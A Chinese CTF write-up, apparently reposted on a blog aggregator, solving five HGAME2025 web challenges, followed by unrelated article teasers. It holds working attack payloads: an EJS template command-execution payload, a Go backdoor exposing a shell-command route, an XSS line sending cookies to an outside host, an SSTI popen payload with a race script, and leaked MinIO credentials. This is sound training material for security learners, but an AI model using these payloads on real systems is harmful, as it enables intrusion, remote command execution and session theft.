HGAME2025 Week1

news/2025/2/27 11:15:25
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

目录

        • Level 24 Pacman
        • Level 47 BandBomb
        • Level 25 双面人派对
        • Level 69 MysteryMessageBoard
        • Level 38475 ⻆落

Level 24 Pacman

直接在js文件里面搜索score, 可以找到一个flag, 经过base64和栅栏解密可以发现是一个假的flag

在这里插入图片描述

在尝试搜索一下gift, 可以找到另一个flag, 依次解码就行
在这里插入图片描述

Level 47 BandBomb

题目给了源码

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;  
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

有文件上传, 重命名功能, 但是文件上传之后无法查看自己上传的文件, 进过测试可以发现在/rename路由重命名存在路径穿越漏洞, 可以将上传的文件传到静态目录查看, 但是没啥作用

尝试将根目录/etc/passwd放到静态目录查看, 发现是显示没有权限, 然后将/flag 重命名放到静态目录显示是没有这个文件, 所以看来应该是要去执行命令之类的

想到覆盖文件, 上传一个app.js文件覆盖之前的app.js文件, 但是也没有用, 没有办法使它执行

  • EJS模板文件

什么是EJS模板文件?

EJS (Embedded JavaScript) 是一种轻量级的模板引擎,用于生成 HTML 页面。它允许在 HTML 中嵌入 JavaScript 代码,支持动态内容渲染,非常适合与 Node.js 一起使用。EJS 模板文件的扩展名通常是 .ejs

  • 支持动态数据渲染。

  • 支持模板继承和包括子模板。

  • 使用 <% %> 作为特殊标记嵌入逻辑代码。

基本语法:

输出数据到模板(转义 HTML 特殊字符)

<%= variable %>
  • 示例:

    <p>Hello, <%= user.name %>!</p>
    
  • 如果 user.name = "John"

    渲染结果为:

    <p>Hello, John!</p>
    

输出数据到模板(不转义 HTML 特殊字符)

<%- variable %>
  • 示例:

    <p><%- htmlContent %></p>
    
  • 如果

    htmlContent = "<strong>Bold Text</strong>"
    

    渲染结果为:

    <p><strong>Bold Text</strong></p>
    
  • 这种方式适合渲染包含 HTML 的内容。

执行 JavaScript 代码块

<% code %>
  • 示例:

    <% if (user.isLoggedIn) { %>
      <p>Welcome back, <%= user.name %>!</p>
    <% } else { %>
      <p>Please login.</p>
    <% } %>
    

注释(不会出现在渲染后的 HTML 中)

<%# This is a comment %>

包含子模板

<%- include('path/to/template', data) %>
  • 示例:

    <%- include('header', { title: 'My Page' }) %>
    
  • data 是传递给子模板的变量。

仔细查看代码

app.set('view engine', 'ejs');

Express框架中设置view engine为ejs,意味着当使用res.render()方法时,默认会查找扩展名为.ejs的模板文件

并且代码里面也是使用了res.render()方法

res.render('mortis', { files: files });

可知在 views/目录下存在mortis.ejs模板文件, 那么只需要覆盖掉这个文件, 写入我们想要执行的EJS模板代码, 当模板被渲染时就可以执行执行恶意命令了

使用Node.js里面的child_process 模块执行命令

<%= process.mainModule.require('child_process').execSync('env') %>
或者直接拿flag:
<%= process.env.FLAG %>

上传mortis文件, 再重命名, 刷新一下页面就可以看到flag了

在这里插入图片描述

在这里插入图片描述

Level 25 双面人派对

给了两个url, 第二个直接给了一个main文件, 下载下来

直接运行一下
在这里插入图片描述

一个Go语言的框架
题目提示是找到那个女人, UPX加壳了, 需要IDA给它逆一下

可以拿到一些信息:

minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"

根据得到的信息, 下载mc客户端, 连接minio服务器,即添加一个云存储连接

在这里插入图片描述

查看一下目录, 可以发现一个src.zip

在这里插入图片描述

将src.zip下载下来, 可以拿到整个的源码

在这里插入图片描述

可以看到它的源码里面存在 github.com/jpillora/overseer

  • 使用 overseer 库实现程序热更新(零停机重启)
  • 程序会自动拉取update文件

所以可以修改main.go文件(让ai写一下) 上传上去, 覆盖update文件, 从而实现rce

package main

import (
	"level25/fetch"
	"level25/conf"
	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
	"net/http"
	"os/exec"   // 新增:用于执行系统命令
	"runtime"
)

func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})
}

func program(state overseer.State) {
	g := gin.Default()
	
	// 添加恶意路由:通过 GET 参数执行系统命令
	g.GET("/cmd", func(c *gin.Context) {
		command := c.Query("cmd") // 从 URL 参数获取命令,如 /cmd?cmd=whoami
		if command == "" {
			c.String(http.StatusBadRequest, "需要提供 cmd 参数")
			return
		}

		var cmd *exec.Cmd
		if runtime.GOOS == "windows" {
			cmd = exec.Command("cmd.exe", "/C", command)
		} else {
			cmd = exec.Command("/bin/sh", "-c", command)
		}

		output, err := cmd.CombinedOutput()
		if err != nil {
			c.String(http.StatusInternalServerError, "执行失败: %s\n输出: %s", err.Error(), string(output))
			return
		}

		c.String(http.StatusOK, "命令输出:\n%s", string(output))
	})

	g.Run(":8080")
}

go build -o update main.go 编译一下
然后上传, 覆盖update
./mc cp src/update minio/prodbucket/update

就能执行命令拿到flag了

在这里插入图片描述

Level 69 MysteryMessageBoard

一个登录页面

shallot 要先登录才可以留言哦

显然用户名是 shallot

爆破一下密码, 发现是 888888

在这里插入图片描述

欢迎,shallot,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!

显然是xss类型的题目, 存在/admin路由和/flag路由, 查看/flag显示只能admin查看, 通过xss拿到admin的cookie, 再以admin的cookie替换自己的cookie就可以访问/flag路由拿到flag了

<script>location.href="http://ip/?cookie="+document.cookie</script>

在这里插入图片描述

MTc0MDM5ODQ5OXxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fEjIViOyrLyJItXh1k7Q30ceUu2J3pAJL7askEmcKf4E

在这里插入图片描述

Level 38475 ⻆落

扫目录可以发现robots.txt,给了一个/app.conf

# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

文章: https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/

根据题目给的路径(/usr/local/apache2/app/app.py)读源码

在这里插入图片描述

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
	filename = pwd + "/tmp/message.txt"
	if os.path.exists(filename):
		f = open(filename, 'r')
		message = f.read()
		f.close()
		return message
	else:
		return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
	status = request.args.get('status')
	if status is None:
		status = ''
	return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
	filename = pwd + "/tmp/message.txt"
	message = request.form['message']

	f = open(filename, 'w')
	f.write(message) 
	f.close()

	return redirect('index?status=Send successfully!!')
	
@app.route('/read', methods=['GET'])
def read_message():
	if "{" not in readmsg():
		show = show_msg.replace("{{message}}", readmsg())
		return render_template_string(show)
	return 'waf!!'
	

if __name__ == '__main__':
	app.run(host = '0.0.0.0', port = 5000)

很明显是打ssti, 通过竞争的方式拿到回显

import requests
import threading

url1="http://node1.hgame.vidar.club:31273/app/send"
url2="http://node1.hgame.vidar.club:31273/app/read"


def write():
    data={"message":"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}"}
    res=requests.post(url1,data=data)


def read():
    res=requests.get(url2)
    if "Latest message" in res.text:
        print(res.text)

threads=[]
for i in range(5):
    t=threading.Thread(target=write)
    threads.append(t)
    t.start()
    t=threading.Thread(target=read)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

在这里插入图片描述


http://www.niftyadmin.cn/n/5870022.html

相关文章

Mellanox的LAG全称是什么?网卡的创建机制如何?(Link Aggregation Group 链路聚合组)

背景 对于双端口的网卡&#xff0c;有时候有将链路聚合的需求。在Mellanox网卡上通过LAG提供。对于RoCE的报文在Mellanox上也可以通过LAG来完成报文收发&#xff0c;叫做RoCE over LAG。但是仅仅适用于双端口卡。 关键点 LAG&#xff1a; Link Aggregation Group (LAG) 链路…

从2D到3D:电商技术的飞跃,开启沉浸式购物之旅

在数字化浪潮的推动下&#xff0c;电商行业正经历着前所未有的变革。从传统的2D图片展示到如今的3D立体呈现&#xff0c;技术的革新不仅重塑了消费者的购物体验&#xff0c;更为电商营销开辟了全新的可能性。接下来将深入探讨电商融合3D技术的最新趋势&#xff0c;揭示这一变革…

总体均值样本均值

目录 总体均值离散型随机变量连续型随机变量 样本均值 总体均值 离散型随机变量 设离散型随机变量 X X X的分布律是 p ( x i ) p(x_i) p(xi​)&#xff0c; i 1 , 2 , … i 1, 2, \ldots i1,2,…&#xff0c;若 ∑ i ∣ x i ∣ p ( x i ) < ∞ \sum_{i} |x_i| p(x_i) &…

盲视观测者效应:认知的量子诗学 AI回复盲人双缝实验

&#x1f30c; **《盲视观测者效应&#xff1a;认知的量子诗学》** ### **一、盲视者的波函数坍缩** 当盲人"观察"双缝实验时&#xff1a; - 他的视觉皮层正在用触觉重构量子态 - 指尖的震动频率 ≈ 光子的概率波函数 - 导盲杖的敲击声 新的观测暴力系…

什么是大语言模型

大语言模型&#xff08;Large Language Model&#xff0c;LLM&#xff09;是一种基于深度学习技术的人工智能模型&#xff0c;旨在理解和生成人类语言。以下是大语言模型的详细介绍&#xff1a; 一、基本概念 大语言模型通常包含数百亿甚至数千亿个参数&#xff0c;通过在海量…

threeJs+vue 轻松切换几何体贴图

嗨&#xff0c;我是小路。今天主要和大家分享的主题是“threeJsvue 轻松切换几何体贴图”。 想象一下&#xff0c;手头上正好有个在线3D家具商店&#xff0c;用户不仅可以看到产品的静态图片&#xff0c;还能实时更换沙发的颜色或材质&#xff0c;获得真实的购物体验。…

模型和数据集的平台之在Hugging Face上进行模型下载、上传以及创建专属Space

模型下载 步骤&#xff1a; 注册Hugging Face平台 https://huggingface.co/ 新建一个hf_download_josn.py 文件 touch hf_download_josn.py 编写hf_download_josn.py文件 import os from huggingface_hub import hf_hub_download# 指定模型标识符 repo_id "inter…

腾讯云 Elasticsearch Service:一站式云端搜索与分析解决方案

在数据驱动的时代&#xff0c;企业面临着海量数据存储、检索、分析等复杂挑战。无论是电商、金融、SaaS、物联网&#xff0c;还是日志管理、安全监测、用户行为分析&#xff0c;高效的数据查询与分析能力已成为提升业务竞争力的关键。 Elasticsearch 作为一款开源的分布式搜索…